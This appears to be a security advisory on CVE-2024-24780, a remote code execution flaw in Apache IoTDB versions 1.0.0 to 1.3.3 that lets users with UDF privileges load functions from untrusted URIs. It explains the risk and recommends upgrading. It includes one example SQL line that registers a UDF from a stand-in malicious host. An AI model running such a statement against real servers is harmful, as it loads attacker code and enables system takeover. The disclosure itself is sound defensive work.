Overview
The world of cybersecurity is once again on high alert following the discovery of a severe security vulnerability dubbed CVE-2024-24780. This vulnerability, which is found in Apache IoTDB, could potentially lead to remote code execution with untrusted User-Defined Functions (UDFs) URI.
This vulnerability is particularly concerning because it allows an attacker, who has the privilege to create a UDF, to register a malicious function from an untrusted URI. As a result, this can compromise the integrity, confidentiality, and availability of data and systems that rely on Apache IoTDB versions from 1.0.0 up to, but not including, 1.3.4.

How the Exploit Works
The vulnerability allows remote code execution through the misuse of untrusted URIs in UDFs. In essence, an attacker with the privilege to create UDFs could register a malicious function from an untrusted URI. Once registered, the function could be executed, leading to unauthorized access, data theft, or even a complete system takeover.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
CREATE FUNCTION malicious_udf AS "uri://malicious.example.com/malicious_udf.class"In this example, the attacker creates a UDF named “malicious_udf” using a class file hosted on a malicious server (malicious.example.com). When this UDF is executed, the attacker’s code is run, potentially compromising the system.
Recommended Mitigations
Users are strongly advised to upgrade to Apache IoTDB version 1.3.4, which includes a patch for this vulnerability. If an immediate upgrade is not possible, temporary mitigation can be achieved by using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are only temporary solutions and do not provide comprehensive protection against the vulnerability.
In conclusion, the severity of CVE-2024-24780 cannot be overstated. Immediate action is required to ensure the protection of systems and data. Businesses and individuals relying on Apache IoTDB must ensure they upgrade their systems or apply suitable temporary mitigations until an upgrade can be performed.
